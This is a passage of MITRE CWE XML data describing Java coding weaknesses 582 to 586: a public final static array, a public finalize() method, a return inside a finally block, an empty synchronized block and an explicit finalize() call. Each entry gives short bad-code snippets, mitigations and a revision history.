                    <Weakness ID="582" Name="Array Declared Public, Final, and Static" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The program declares an array public, final, and static, which
					is not sufficient to prevent the array's contents from being
					modified.</Description_Summary>
				        <Extended_Description>
					          <Text>Because arrays are mutable objects, the final constraint requires that the
						array object itself be assigned only once, but makes no guarantees about the
						values of the array elements. Since the array is public, a malicious program
						can change the values stored in the array. As such, in most cases an array
						declared public, final and static is a bug.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>490</Relationship_Target_ID>
					          <!--Mobile Code Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>849</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 04 - Object Orientation (OBJ)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>897</Relationship_Target_ID>
					          <!--SFP Cluster: Entry Points-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Mobile code, in this case a Java Applet, is code that is transmitted
						across a network and executed on a remote machine. Because mobile code
						developers have little if any control of the environment in which their code
						will execute, special security concerns become relevant. One of the biggest
						environmental threats results from the risk that the mobile code will run
						side-by-side with other, potentially malicious, mobile code. Because all of
						the popular web browsers execute code from multiple sources together in the
						same JVM, many of the security guidelines for mobile code are focused on
						preventing manipulation of your objects' state and behavior by adversaries
						who have access to the same virtual machine where your program is
						running.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>In most situations the array should be made private.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following Java Applet code mistakenly declares an array public,
						final and static.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public final class urlTool extends Applet {</Code>
							              <Block>
								                <Code>public final static URL[] urls;</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not use public static nonfinal variables</Mapped_Node_Name>
					          <Mapped_Node_ID>OBJ10-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Other_Notes,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Background_Details, Demonstrative_Examples,
						Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Mobile Code: Unsafe Array
						Declaration</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="583" Name="finalize() Method Declared Public" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The program violates secure coding principles for mobile code
					by declaring a finalize() method public.</Description_Summary>
				        <Extended_Description>
					          <Text>A program should never call finalize explicitly, except to call
						super.finalize() inside an implementation of finalize(). In mobile code
						situations, the otherwise error prone practice of manual garbage collection
						can become a security threat if an attacker can maliciously invoke one of
						your finalize() methods because it is declared with public access.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>490</Relationship_Target_ID>
					          <!--Mobile Code Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>850</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 05 - Methods (MET)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>897</Relationship_Target_ID>
					          <!--SFP Cluster: Entry Points-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>If you are using finalize() as it was designed, there is no reason to
							declare finalize() with anything other than protected access.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following Java Applet code mistakenly declares a public
						finalize() method.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public final class urlTool extends Applet {</Code>
							              <Block>
								                <Code>public void finalize() {</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Mobile code, in this case a Java Applet, is code that is transmitted
							across a network and executed on a remote machine. Because mobile code
							developers have little if any control of the environment in which their
							code will execute, special security concerns become relevant. One of the
							biggest environmental threats results from the risk that the mobile code
							will run side-by-side with other, potentially malicious, mobile code.
							Because all of the popular web browsers execute code from multiple
							sources together in the same JVM, many of the security guidelines for
							mobile code are focused on preventing manipulation of your objects'
							state and behavior by adversaries who have access to the same virtual
							machine where your program is running.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not use finalizers</Mapped_Node_Name>
					          <Mapped_Node_ID>MET12-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Mobile Code: Public Finalize
						Method</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="584" Name="Return Inside Finally Block" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The code has a return statement inside a finally block, which
					will cause any thrown exception in the try block to be
					discarded.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>705</Relationship_Target_ID>
					          <!--Incorrect Control Flow Scoping-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>389</Relationship_Target_ID>
					          <!--Error Conditions, Return Values, Status Codes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>851</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not use a return statement inside the finally block. The finally
							block should have "cleanup" code.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following code excerpt, the IllegalArgumentException will
						never be delivered to the caller. The finally block will cause the exception
						to be discarded.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>try {</Code>
							              <Block>
								                <Code>...</Code>
								                <Code>throw IllegalArgumentException();</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>finally {</Code>
							              <Block>
								                <Code>return r;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not complete abruptly from a finally
						block</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR04-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not let checked exceptions escape from a finally
						block</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR05-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="585" Name="Empty Synchronized Block" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software contains an empty synchronized
					block.</Description_Summary>
				        <Extended_Description>
					          <Text>An empty synchronized block does not actually accomplish any
						synchronization and may indicate a troubled section of code. An empty
						synchronized block can occur because code no longer needed within the
						synchronized block is commented out without removing the synchronized
						block.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>371</Relationship_Target_ID>
					          <!--State Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An empty synchronized block will wait until nobody else is using the
							synchronizer being specified. While this may be part of the desired
							behavior, because you haven't protected the subsequent code by placing
							it inside the synchronized block, nothing is stopping somebody else from
							modifying whatever it was you were waiting for while you run the
							subsequent code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When you come across an empty synchronized statement, or a
							synchronized statement in which the code has been commented out, try to
							determine what the original intentions were and whether or not the
							synchronized block is still necessary.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code attempts to synchronize on an object, but does
						not execute anything in the synchronized block. This does not actually
						accomplish anything and may be a sign that a programmer is wrestling with
						synchronization but has not yet achieved the result they
						intend.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>synchronized(this) { }</Code>
						            </Block>
						            <Text>Instead, in a correct usage, the synchronized statement should contain
							procedures that access or modify data that is exposed to multiple
							threads. For example, consider a scenario in which several threads are
							accessing student records at the same time. The method which sets the
							student ID to a new value will need to make sure that nobody else is
							accessing this data at the same time and will require
							synchronization.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code>public void setID(int ID){</Code>
							              <Block>
								                <Code>synchronized(this){</Code>
								                <Block>
									                  <Code>this.ID = ID;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference>
					          <Reference_Title>Intrinsic Locks and Synchronization (in Java)</Reference_Title>
					          <Reference_Link>http://java.sun.com/docs/books/tutorial/essential/concurrency/locksync.html</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Description, Other_Notes, Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="586" Name="Explicit Call to Finalize()" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software makes an explicit call to the finalize() method
					from outside the finalizer.</Description_Summary>
				        <Extended_Description>
					          <Text>While the Java Language Specification allows an object's finalize() method
						to be called from outside the finalizer, doing so is usually a bad idea. For
						example, calling finalize() explicitly means that finalize() will be called
						more than once: the first time will be the explicit call and the last time
						will be the call that is made after the object is garbage collected.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>850</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 05 - Methods (MET)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not make explicit calls to finalize(). Use static analysis tools to
							spot such instances.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code fragment calls finalize()
						explicitly:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Comment>// time to clean up</Comment>
							              <Code>widget.finalize();</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not use finalizers</Mapped_Node_Name>
					          <Mapped_Node_ID>MET12-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Name, Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
